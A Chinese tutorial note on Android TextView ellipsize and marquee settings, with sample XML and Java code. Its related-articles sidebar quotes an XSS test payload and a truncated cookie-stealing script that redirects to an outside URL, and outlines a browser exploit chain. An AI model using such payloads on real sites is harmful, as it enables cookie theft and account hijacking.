API Demos 2.3 学习笔记 (6) Text>Marquee

更多精彩内容,请点击阅读:《API Demos 2.3 学习笔记》


在TextView及其子类控件中,当文本内容太长,超过控件长度时,默认情况下,无法完全显示文本内容。此时,通过在xml布局文件中设置控件的android:ellipsize属性,可以将无法显示的部分用省略号表示,并放在文本的起始,中间或者结束位置;还可以跑马灯的方式来显示文本(即文本控件获得焦点时,文本会进行滚动显示)。具体设置方法如下所示:
1、默认不处理
android:singleLine="true"
android:ellipsize="none"

2、省略号放在起始
android:singleLine="true"
android:ellipsize="start"

3、省略号放在中间
android:singleLine="true"
android:ellipsize="middle"

4、省略号放在结束
android:singleLine="true"
android:ellipsize="end"

5、跑马灯效果
android:focusable="true"
android:focusableInTouchMode="true"
android:singleLine="true"
android:ellipsize="marquee"
android:marqueeRepeatLimit="marquee_forever"

注:1、android:singleLine="true"表示单行显示。
2、在设置跑马灯效果时候,最好加上android:focusable="true"和android:focusableInTouchMode="true",分别表示可以获得焦点,和在触摸模式下可以获得焦点。
3、android:marqueeRepeatLimit表示跑马灯效果重复显示的次数,只能取值marquee_forever和正整数。取值marquee_forever时,表示跑马灯效果一直重复显示。


下面我们进行实例代码解析:

res-value-string.xml

<?xml version="1.0" encoding="utf-8"?>
<resources>
    <string name="marquee_default">This use the default marquee animation limit of 3</string>
    <string name="marquee_once">This will run the marquee animation once</string>
    <string name="marquee_forever">This will run the marquee animation forever</string>
</resources>

res-layout-marquee.xml
<?xml version="1.0" encoding="utf-8"?>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical"
    android:layout_width="match_parent" 
    android:layout_height="match_parent">
    
    <!-- 默认跑马灯效果 -->
    <Button
        android:layout_width="150dip" 
        android:layout_height="wrap_content"
        android:text="@string/marquee_default"
        android:singleLine="true"  
        android:ellipsize="marquee"/> 
    
    <!-- 跑马灯效果,重复播放一次 -->
    <Button
        android:layout_width="150dip" 
        android:layout_height="wrap_content"
        android:text="@string/marquee_once"
        android:singleLine="true"
        android:ellipsize="marquee"
        android:marqueeRepeatLimit="1"/>

     <!-- 跑马灯效果,一直重复播放 -->       
    <Button
        android:layout_width="150dip" 
        android:layout_height="wrap_content"
        android:text="@string/marquee_forever"      
        android:singleLine="true"
        android:ellipsize="marquee"
        android:marqueeRepeatLimit="marquee_forever"/>  
           
</LinearLayout>

src-com.example.android.apis.text-Marquee.java
package com.example.android.apis.text;

import com.example.android.apis.R;

import android.app.Activity;
import android.os.Bundle;

public class Marquee extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        
        //将marquee布局文件渲染出一个View对象,并作为Activity的默认View
        setContentView(R.layout.marquee);
    }
}

效果预览:

API Demos 2.3 学习笔记 (6) Text&gt;Marquee
                            API Demos 2.3 学习笔记 (6) Text&gt;Marquee

更多相关文章
  • 使用 Windows 集成安全性访问 SQL Server 如果您的应用程序运行在基于 Windows 的 Intranet 上,则也许可以将 Windows 集成身份验证用于数据库访问.集成安全性使用在操作系统线程上建立的当前 Windows 标识来访问 SQL Server 数据库.然后,您可以 ...
  • 我们知道Oracle的统计信息将严重影响CBO对执行计划的选择,针对不同大小的表制定收集规则并且定期执行是非常重要的.Oracle通过如下脚本即可收集统计信息: BEGIN DBMS_STATS.GATHER_TABLE_STATS(ownname =>'ZBDBA', tabname =&g ...
  • 信息来源:至尊宝的成长之路比如发现一处可XSS地方:<script>alert(不管怎么样弹出就好)</script>自己弄个偷cookie的文件.目的是让其他浏览者去浏览我们设计好的陷阱<script>document.location=http://URL.c ...
  • 网页加密和破解之&#106avascript 最近闲着无事,正好写点东西,为了让更多的人能理解,我就从最简单的网页讲起好了!我们先从最简单的&#106avascript加密页开始,在网上你可能会碰到很多用&#106avascript编的要求你输入用户和密码的网页,没有密码就不 ...
  • Large Data Types(大数据类型) 大数据类型的bin可以存储大量的对象集合.对象的类型可以是Integer/String/Map/List.Aerospike的单个记录可以包含许多这样的bin,这样的bin允许在单独的记录中包含大量的数据,其限制基于存储能力,记录没有最大值限制. Ae ...
  • 今天下午休息的时候又被扔给一项任务:把全国的街道数据导入街道表.但是他们扔给我的SQL脚本是从网上down的一个,跟平台这边的数据库设计的完全不一样. 当时的思路是:先把扔给我的脚本在本地生成一个表,然后选出要的数据,批量插入到开发库所在服务器的表. 然后,按照这个思路做了个测试: INSERT I ...
一周排行
  • --首先看下面的小情景. 员工说:     "我怕与领导沟通,我还没说完他就不耐烦了,老让我拣主要的说." 业务员说:     "我辛辛苦苦写的文案,客户说看不懂."  领导说 ...
  • 总共用了三个漏洞点: 1. 绕过特权域判断 2. 利用缺陷API下载任意程序至指定目录 3. 结合电脑用户名称泄漏的缺陷,将程序下载至用户启动目录 1. 特权域限制上存在问题, 百度浏览器除了允许 bdbrowser ...
  • 专访:乐视网高级副总裁刘弘 易网科技讯 11月3日消息,互联网大会第二天,视频网站乐视网高级副总裁刘弘接受了易网科技的专访.在谈到用户是否会在线付费收看正版时,刘弘表示,现在并没有要求网友去看正版,目前还处于呼吁阶段 ...
  • 据华尔街日报报道,微软将在本月晚些时候发布Windows 8操作系统时推出自己的新闻业务,这项业务将成为最新外观的MSN网站的一部分.业界人士指出,微软进军新闻领域之举表明,微软对创造自有内容的兴趣正在增长.
  • <pre name="code" class="cpp">#include <iostream>    using namespace std;    ...
  •  一.选择填空题(每空2分,共60分)1.在对SQL Server 数据库操作时应选用().a)SQL Server .NET Framework 数据提供程序:b)OLE DB .NET Framework 数据提 ...
  •   Binary Tree Traversals Time Limit: 1/1 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Total ...
  •   To change the ASM SYS Password Things tried: SQL> passwordChanging password for SYSOld password:New pas ...
  • 一.随着信息技术和计算机网络的迅猛发展,基于Internet的电子商务也随之而生,并在近年来获得了巨大的发展.电子商务作为一种全新的商业应用形式,改变了传统商务的运作模式,极大地提高了商务效率,降低了交易的成本.然而 ...
  • 一. 以下是 Java 判断字符串是否为空的三种方法. 方法一: 最多人使用的一个方法, 直观, 方便, 但效率很低. 方法二: 比较字符串长度, 效率高, 是我知道的最好一个方法. 方法三: Java SE 6.0 ...